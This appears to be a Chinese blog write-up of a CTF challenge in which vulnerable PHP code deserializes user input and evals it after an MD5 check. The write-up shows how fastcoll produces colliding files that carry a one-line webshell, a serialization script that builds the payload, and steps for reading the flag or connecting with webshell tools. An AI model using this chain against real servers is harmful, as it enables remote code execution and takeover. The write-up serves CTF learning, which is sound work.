成理信安协会反序列化01-利用fastcoll实现md5碰撞
虽然是反序列化的题目,但主要考点在利用fastcoll实现md5碰撞。
直接上源码
<?php
show_source(__FILE__);
class CDUTSEC
{
public $var1;
public $var2;
function __construct($var1, $var2)
{
$var1 = $var1;
$var2 = $var2;
}
function __destruct()
{
echo md5($this->var1);
echo md5($this->var2);
if (($this->var1 != $this->var2) && (md5($this->var1) === md5($this->var2))) {
eval($this->var1);
}
}
}
unserialize($_GET['payload']);
代码审计
- 乍看上去很经典的md5碰撞题目,var1与var2原值弱比较不等md5编码后强比较相等。想直接拿自己的屯的payload直接上?太年轻了!仔细看一看我们拿flag的唯一途径是什么?eval($this->var1);!你的字符串不仅能够实现md5碰撞以绕过,而且还必须实现命令注入。怎么办?这时候就要用到md5碰撞滴神器,fastcoll了!
fastcoll使用详解
在我做题查阅各种fastcoll有关博客的时候,发现很多只是单纯的介绍,而到具体使用却写的比较模糊。我这里就结合题目写一下。
首先,新建一个写入一句话木马的文本文件。这里加了?>目的就是读完咱的一句话就提前结束,防止其他杂事。

然后把文件丢到fastcoll里跑一下(直接把文件拖到程序上,或者用命令行./fastcoll_v1.0.0.5.exe呦~)

然后我们得到两个文件。这两文件读到字符串是不一样的,但md5后是一样的。

然后上我们的读文件和序列化脚本。
其实就是主要用到file_get_contents函数,把文件读入字符串。
<?php
class CDUTSEC{
public $var1;
public $var2;
}
$tr = new CDUTSEC();
$tr->var1 = file_get_contents('C:\Users\Riverland\Desktop\shell_msg1.txt');
$tr->var2 = file_get_contents('C:\Users\Riverland\Desktop\shell_msg2.txt');
echo urlencode(serialize($tr));
传个1=phpinfo();看看成功了没有。

成功了。我们就欢乐滴骑上了马。
菜刀蚁剑,或者直接readfile('../../../../../../flag');都可以。

成理信安协会反序列化01-利用fastcoll实现md5碰撞的更多相关文章
- fastjson反序列化-JdbcRowSetImpl利用链
fastjson反序列化-JdbcRowSetImpl利用链 JdbcRowSetImpl利用链 fastjson反序列化JdbcRowSetImpl - Afant1 - 博客园 (cnblogs. ...
- ThinkPHP v6.0.x 反序列化漏洞利用
前言: 上次做了成信大的安询杯第二届CTF比赛,遇到一个tp6的题,给了源码,目的是让通过pop链审计出反序列化漏洞. 这里总结一下tp6的反序列化漏洞的利用. 0x01环境搭建 现在tp新版本的官网 ...
- NodeJS反序列化漏洞利用
原文来自:http://www.4hou.com/web/13024.html node.js是一个服务器端的运行环境,封装了Google V8引擎,V8引擎执行JavaScript速度非常快,性能非 ...
- fastjson 反序列化漏洞利用总结
比赛遇到了,一直没利用成功,这里做个记录. 环境搭建 首先用 vulhub 搭建 fastjson 的漏洞环境. 漏洞环境程序的逻辑为接收 body 的数据然后用 fastjson 解析. 漏洞利用 ...
- CVE-2017-12149JBoss 反序列化漏洞利用
CVE-2017-12149 漏洞描述 互联网爆出JBOSSApplication Server反序列化命令执行漏洞(CVE-2017-12149),远程攻击者利用漏洞可在未经任何身份验证的服务器主机 ...
- Junit问题01 利用 @Autowired 注入失效问题
1 利用 @Autowired 注入失效问题 1.1 问题描述 在使用Junit作为测试框架的单元测试中,直接了用@Autowired记性依赖注入时总是注入失败 1.2 问题原因 在测试类中没有设定上 ...
- FastJson反序列化漏洞利用的三个细节 - TemplatesImpl的利用链
0. 前言 记录在FastJson反序列化RCE漏洞分析和利用时的一些细节问题. 1. TemplatesImpl的利用链 关于 parse 和 parseObject FastJson中的 pars ...
- CVE-2017-3248——WebLogic反序列化漏洞利用工具
著名的web中间件WebLogic被曝出之前的反序列化安全漏洞补丁存在绕过安全风险,用户更新补丁后,仍然存在被绕过成功执行远程命令攻击的情况,安全风险高,Oracle官方及时发布了最新补丁,修复了该漏 ...
- Shiro反序列化漏洞利用汇总(Shiro-550+Shiro-721)
Apache Shiro是一个强大易用的Java安全框架,提供了认证.授权.加密和会话管理等功能.Shiro框架直观.易用,同时也能提供健壮的安全性. 文章目录: 1.Shiro rememberMe ...
随机推荐
- 还在写if/else if ... ?
在日常开发中,我们经常会写出很多 if else if ... 很多看起来又长又糟糕的代码, 那么策略模式你该去get 了. 点我查看哦!
- day46:jQuery
目录 1.jQuery初识 2.选择器 3.文本操作 4.class类值操作 5.css样式操作 6.值操作 7.注意点:button按钮提交form表单数据 8.jquery选择器补充 9.模态对话 ...
- Solon详解(二)- Solon的核心
Solon详解系列文章: Solon详解(一)- 快速入门 Solon详解(二)- Solon的核心 Solon详解(三)- Solon的web开发 Solon详解(四)- Solon的事务传播机制 ...
- IOException的子类
ChangedCharSetException, CharacterCodingException, CharConversionException, ClosedChannelException, ...
- 20190916-01linux文件与目录结构 000 001
1./bin 是Binary的缩写,这个目录存放着最经常使用的命令 2./sbin s就是Super User的意思,这里存放的是系统管理员使用的系统管理程序 3./home 存放普通用户的主目录,在 ...
- python模块hashlib、xlwt、pymysql
一.xlwt xlwt是python第三方模块,主要是对excel的写操作.xlwt使用时必须先安装. 1.安装 在操作系统的cmd窗口输入pip install xlwt回车即可在线安装. 安装完成 ...
- NetCore微服务实战体系:日志管理
一. 起始 进入NetCore时代,日志的使用有了很大的变化,因为跨平台以及虚拟化技术的使用,日志不能够再像Framework的方式直接记录在文本,文本其实也可以,但是日志的管理以及查看都不太方便.L ...
- [程序员代码面试指南]最长递增子序列(二分,DP)
题目 例:arr=[2,1,5,3,6,4,8,9,7] ,最长递增子序列为1,3,4,8,9 题解 step1:找最长连续子序列长度 dp[]存以arr[i]结尾的情况下,arr[0..i]中的最长 ...
- [补题]找到原序列长度k的子序列中字典序最小的那个(单调栈)
题意 题目如题,输入序列只包含小写字母,数据范围0<k<=len<=500000. 例: 输入:helloworld 输出:ellld 题解 使用单调栈.当已删掉n-k个字符,输出栈 ...
- JVM直接内存(Direct Memory)
直接内存 1.直接内存不是虚拟机运行时数据区的一部分,也不是<Java虚拟机规范>中定义的内存区域. 2.直接内存是Java堆外的.直接向系统申请的内存区间. 3.简单理解: java p ...